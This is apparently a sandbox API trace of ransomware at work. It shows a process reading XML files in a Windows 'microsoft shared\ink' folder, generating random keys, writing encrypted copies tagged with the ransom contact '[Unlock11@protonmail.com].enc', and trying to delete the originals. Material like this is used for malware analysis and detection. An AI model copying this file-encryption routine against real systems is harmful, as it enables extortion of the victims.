0x9b0 [0121.321] GetCurrentThreadId () returned 0x9b0 [0121.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8d8) returned 0x35d46d0 [0121.321] GetLastError () returned 0x0 [0121.321] GetLastError () returned 0x0 [0121.321] GetLastError () returned 0x0 [0121.321] GetLastError () returned 0x0 [0121.321] GetCurrentThreadId () returned 0x9b0 [0121.322] GetLastError () returned 0x0 [0121.322] GetCurrentThreadId () returned 0x9b0 [0121.322] GetLastError () returned 0x0 [0121.322] GetCurrentThreadId () returned 0x9b0 [0121.322] GetLastError () returned 0x0 [0121.325] CloseHandle (hObject=0x3ac) returned 1 [0121.325] GetCurrentThreadId () returned 0x9b0 [0121.325] GetLastError () returned 0x0 [0121.325] CloseHandle (hObject=0x39c) returned 1 [0121.325] GetCurrentThreadId () returned 0x9b0 [0121.325] GetLastError () returned 0x0 [0121.326] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0 [0121.326] GetLastError () returned 0x5 [0121.326] GetCurrentThreadId () returned 0x9b0 [0121.326] GetLastError () returned 0x5 [0121.326] GetCurrentThreadId () returned 0x9b0 [0121.326] GetLastError () returned 0x5 [0121.326] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml", lpFilePart=0x9bada4*="ipsrom.xml") returned 0x3d [0121.326] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0121.326] GetCurrentThreadId () returned 0x9b0 [0121.327] GetCurrentThreadId () returned 0x9b0 [0121.327] GetLastError () returned 0x0 [0121.327] GetCurrentThreadId () returned 0x9b0 [0121.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0121.327] GetCurrentThreadId () returned 0x9b0 [0121.327] GetLastError () returned 0x0 [0121.327] GetCurrentThreadId () returned 0x9b0 [0121.327] GetLastError () returned 0x0 [0121.327] GetCurrentThreadId () returned 0x9b0 [0121.327] GetLastError () returned 0x0 [0121.327] GetCurrentThreadId () returned 0x9b0 [0121.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0121.328] GetCurrentThreadId () returned 0x9b0 [0121.328] GetLastError () returned 0x0 [0121.328] GetCurrentThreadId () returned 0x9b0 [0121.328] GetLastError () returned 0x0 [0121.328] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54)) returned 1 [0121.328] GetLastError () returned 0x0 [0121.328] GetCurrentThreadId () returned 0x9b0 [0121.328] GetLastError () returned 0x0 [0121.328] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0121.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0121.329] GetCurrentThreadId () returned 0x9b0 [0121.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.329] GetCurrentThreadId () returned 0x9b0 [0121.329] GetLastError () returned 0x0 [0121.329] GetCurrentThreadId () returned 0x9b0 [0121.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0121.329] GetCurrentThreadId () returned 0x9b0 [0121.329] GetLastError () returned 0x0 [0121.329] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.330] GetFileType (hFile=0x39c) returned 0x1 [0121.330] GetCurrentThreadId () returned 0x9b0 [0121.330] GetLastError () returned 0x0 [0121.330] GetFileType (hFile=0x39c) returned 0x1 [0121.330] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.330] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.330] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.330] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.330] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.330] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.330] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.330] GetLastError () returned 0x0 [0121.331] GetCurrentThreadId () returned 0x9b0 [0121.331] GetLastError () returned 0x0 [0121.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.331] GetLastError () returned 0x0 [0121.331] GetLastError () returned 0x0 [0121.331] GetLastError () returned 0x0 [0121.331] GetLastError () returned 0x0 [0121.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0121.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.331] GetLastError () returned 0x0 [0121.332] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.332] GetFileType (hFile=0x3ac) returned 0x1 [0121.332] GetLastError () returned 0x0 [0121.332] GetCurrentThreadId () returned 0x9b0 [0121.332] GetLastError () returned 0x0 [0121.332] GetFileType (hFile=0x3ac) returned 0x1 [0121.332] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.332] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.332] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.333] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.333] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.333] GetLastError () returned 0x0 [0121.333] GetCurrentThreadId () returned 0x9b0 [0121.333] GetLastError () returned 0x0 [0121.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0121.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0121.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0121.333] GetLastError () returned 0x0 [0121.334] GetLastError () returned 0x0 [0121.334] GetCurrentThreadId () returned 0x9b0 [0121.334] GetLastError () returned 0x0 [0121.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.334] GetLastError () returned 0x0 [0121.334] GetLastError () returned 0x0 [0121.334] GetCurrentThreadId () returned 0x9b0 [0121.334] GetLastError () returned 0x0 [0121.334] GetLastError () returned 0x0 [0121.336] GetLastError () returned 0x0 [0121.336] GetCurrentThreadId () returned 0x9b0 [0121.336] GetLastError () returned 0x0 [0121.336] GetCurrentThreadId () returned 0x9b0 [0121.336] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xa75) returned 0x36f8548 [0121.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de628 [0121.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa78) returned 0x35c7880 [0121.337] GetLastError () returned 0x0 [0121.337] GetLastError () returned 0x0 [0121.337] GetLastError () returned 0x0 [0121.337] GetLastError () returned 0x0 [0121.337] GetCurrentThreadId () returned 0x9b0 [0121.337] GetLastError () returned 0x0 [0121.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c7880 | out: hHeap=0x2ad0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.338] GetLastError () returned 0x0 [0121.338] GetLastError () returned 0x0 [0121.338] GetCurrentThreadId () returned 0x9b0 [0121.338] GetLastError () returned 0x0 [0121.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cccc0 | out: hHeap=0x2ad0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8fc8 [0121.338] GetLastError () returned 0x0 [0121.338] GetLastError () returned 0x0 [0121.338] GetCurrentThreadId () returned 0x9b0 [0121.338] GetLastError () returned 0x0 [0121.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8fc8 | out: hHeap=0x2ad0000) returned 1 [0121.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.339] GetCurrentThreadId () returned 0x9b0 [0121.339] GetLastError () returned 0x0 [0121.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.340] CloseHandle (hObject=0x3ac) returned 1 [0121.340] GetLastError () returned 0x0 [0121.340] GetCurrentThreadId () returned 0x9b0 [0121.340] GetLastError () returned 0x0 [0121.340] GetLastError () returned 0x0 [0121.340] CloseHandle (hObject=0x39c) returned 1 [0121.340] GetLastError () returned 0x0 [0121.340] GetCurrentThreadId () returned 0x9b0 [0121.341] GetLastError () returned 0x0 [0121.341] GetLastError () returned 0x0 [0121.341] GetLastError () returned 0x0 [0121.341] GetLastError () returned 0x0 [0121.341] GetLastError () returned 0x0 [0121.341] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0 [0121.341] GetLastError () returned 0x5 [0121.341] GetCurrentThreadId () returned 0x9b0 [0121.341] GetLastError () returned 0x5 [0121.341] GetLastError () returned 0x5 [0121.342] GetLastError () returned 0x5 [0121.342] GetLastError () returned 0x5 [0121.342] LocalFree (hMem=0x1053c70) returned 0x0 [0121.342] GetLastError () returned 0x5 [0121.342] GetLastError () returned 0x5 [0121.342] GetLastError () returned 0x5 [0121.342] GetLastError () returned 0x5 [0121.342] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml", lpFilePart=0x9bada4*="ipsrus.xml") returned 0x3d [0121.342] GetCurrentThreadId () returned 0x9b0 [0121.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0121.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0121.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0121.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0121.343] GetLastError () returned 0x0 [0121.343] GetLastError () returned 0x0 [0121.343] GetLastError () returned 0x0 [0121.343] GetLastError () returned 0x0 [0121.343] GetCurrentThreadId () returned 0x9b0 [0121.343] GetLastError () returned 0x0 [0121.343] GetCurrentThreadId () returned 0x9b0 [0121.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0121.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.344] GetCurrentThreadId () returned 0x9b0 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.344] GetLastError () returned 0x0 [0121.345] GetCurrentThreadId () returned 0x9b0 [0121.345] GetLastError () returned 0x0 [0121.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.345] GetLastError () returned 0x0 [0121.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0121.345] GetLastError () returned 0x0 [0121.345] GetLastError () returned 0x0 [0121.345] GetLastError () returned 0x0 [0121.345] GetCurrentThreadId () returned 0x9b0 [0121.345] GetLastError () returned 0x0 [0121.345] GetCurrentThreadId () returned 0x9b0 [0121.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0121.346] GetLastError () returned 0x0 [0121.346] GetLastError () returned 0x0 [0121.346] GetLastError () returned 0x0 [0121.346] GetLastError () returned 0x0 [0121.346] GetCurrentThreadId () returned 0x9b0 [0121.346] GetLastError () returned 0x0 [0121.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0121.346] GetLastError () returned 0x0 [0121.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0121.346] GetLastError () returned 0x0 [0121.347] GetLastError () returned 0x0 [0121.347] GetLastError () returned 0x0 [0121.347] GetCurrentThreadId () returned 0x9b0 [0121.347] GetLastError () returned 0x0 [0121.347] GetLastError () returned 0x0 [0121.347] GetLastError () returned 0x0 [0121.347] GetLastError () returned 0x0 [0121.347] GetLastError () returned 0x0 [0121.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.347] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee)) returned 1 [0121.348] GetLastError () returned 0x0 [0121.348] GetCurrentThreadId () returned 0x9b0 [0121.348] GetLastError () returned 0x0 [0121.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0121.348] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a264 | out: pbBuffer=0x366a264) returned 1 [0121.348] GetCurrentThreadId () returned 0x9b0 [0121.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0121.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0121.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea200 [0121.348] GetLastError () returned 0x0 [0121.349] GetLastError () returned 0x0 [0121.349] GetLastError () returned 0x0 [0121.349] GetLastError () returned 0x0 [0121.349] GetCurrentThreadId () returned 0x9b0 [0121.349] GetLastError () returned 0x0 [0121.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea200 | out: hHeap=0x2ad0000) returned 1 [0121.349] GetCurrentThreadId () returned 0x9b0 [0121.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea110 [0121.349] GetLastError () returned 0x0 [0121.349] GetLastError () returned 0x0 [0121.349] GetLastError () returned 0x0 [0121.350] GetLastError () returned 0x0 [0121.350] GetCurrentThreadId () returned 0x9b0 [0121.350] GetLastError () returned 0x0 [0121.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea110 | out: hHeap=0x2ad0000) returned 1 [0121.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0121.350] GetCurrentThreadId () returned 0x9b0 [0121.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5670 | out: hHeap=0x2ad0000) returned 1 [0121.350] GetLastError () returned 0x0 [0121.350] GetLastError () returned 0x0 [0121.350] GetLastError () returned 0x0 [0121.350] GetLastError () returned 0x0 [0121.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0121.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.351] GetLastError () returned 0x0 [0121.351] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.351] GetFileType (hFile=0x39c) returned 0x1 [0121.351] GetLastError () returned 0x0 [0121.351] GetCurrentThreadId () returned 0x9b0 [0121.351] GetLastError () returned 0x0 [0121.352] GetFileType (hFile=0x39c) returned 0x1 [0121.352] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.352] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.352] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.352] GetLastError () returned 0x0 [0121.352] GetCurrentThreadId () returned 0x9b0 [0121.352] GetLastError () returned 0x0 [0121.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0121.353] GetLastError () returned 0x0 [0121.353] GetLastError () returned 0x0 [0121.353] GetLastError () returned 0x0 [0121.353] GetLastError () returned 0x0 [0121.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de528 [0121.353] GetLastError () returned 0x0 [0121.353] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.354] GetFileType (hFile=0x3ac) returned 0x1 [0121.354] GetLastError () returned 0x0 [0121.354] GetCurrentThreadId () returned 0x9b0 [0121.354] GetLastError () returned 0x0 [0121.355] GetFileType (hFile=0x3ac) returned 0x1 [0121.355] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.355] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.355] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.355] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.355] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.355] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.355] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.355] GetLastError () returned 0x0 [0121.355] GetCurrentThreadId () returned 0x9b0 [0121.355] GetLastError () returned 0x0 [0121.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0121.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0121.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.356] GetLastError () returned 0x0 [0121.356] GetLastError () returned 0x0 [0121.356] GetCurrentThreadId () returned 0x9b0 [0121.356] GetLastError () returned 0x0 [0121.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0121.356] GetLastError () returned 0x0 [0121.356] GetLastError () returned 0x0 [0121.356] GetCurrentThreadId () returned 0x9b0 [0121.357] GetLastError () returned 0x0 [0121.357] GetLastError () returned 0x0 [0121.358] GetLastError () returned 0x0 [0121.358] GetCurrentThreadId () returned 0x9b0 [0121.358] GetLastError () returned 0x0 [0121.358] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xa08) returned 0x35c5908 [0121.359] GetCurrentThreadId () returned 0x9b0 [0121.359] GetLastError () returned 0x0 [0121.359] GetLastError () returned 0x0 [0121.359] GetLastError () returned 0x0 [0121.359] GetLastError () returned 0x0 [0121.359] GetCurrentThreadId () returned 0x9b0 [0121.359] GetLastError () returned 0x0 [0121.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0121.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.360] GetLastError () returned 0x0 [0121.360] GetLastError () returned 0x0 [0121.360] GetCurrentThreadId () returned 0x9b0 [0121.360] GetLastError () returned 0x0 [0121.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cad28 | out: hHeap=0x2ad0000) returned 1 [0121.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8f58 [0121.360] GetLastError () returned 0x0 [0121.360] GetLastError () returned 0x0 [0121.360] GetCurrentThreadId () returned 0x9b0 [0121.360] GetLastError () returned 0x0 [0121.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8f58 | out: hHeap=0x2ad0000) returned 1 [0121.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.361] GetLastError () returned 0x0 [0121.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0121.362] CloseHandle (hObject=0x3ac) returned 1 [0121.362] GetLastError () returned 0x0 [0121.362] GetCurrentThreadId () returned 0x9b0 [0121.362] GetLastError () returned 0x0 [0121.362] GetLastError () returned 0x0 [0121.362] CloseHandle (hObject=0x39c) returned 1 [0121.362] GetLastError () returned 0x0 [0121.363] GetCurrentThreadId () returned 0x9b0 [0121.363] GetLastError () returned 0x0 [0121.363] GetLastError () returned 0x0 [0121.363] GetLastError () returned 0x0 [0121.363] GetLastError () returned 0x0 [0121.363] GetLastError () returned 0x0 [0121.363] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0 [0121.363] GetLastError () returned 0x5 [0121.363] GetCurrentThreadId () returned 0x9b0 [0121.363] GetLastError () returned 0x5 [0121.364] GetLastError () returned 0x5 [0121.364] GetLastError () returned 0x5 [0121.364] GetLastError () returned 0x5 [0121.364] LocalFree (hMem=0x1053c70) returned 0x0 [0121.364] GetLastError () returned 0x5 [0121.364] GetLastError () returned 0x5 [0121.364] GetLastError () returned 0x5 [0121.364] GetLastError () returned 0x5 [0121.364] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", 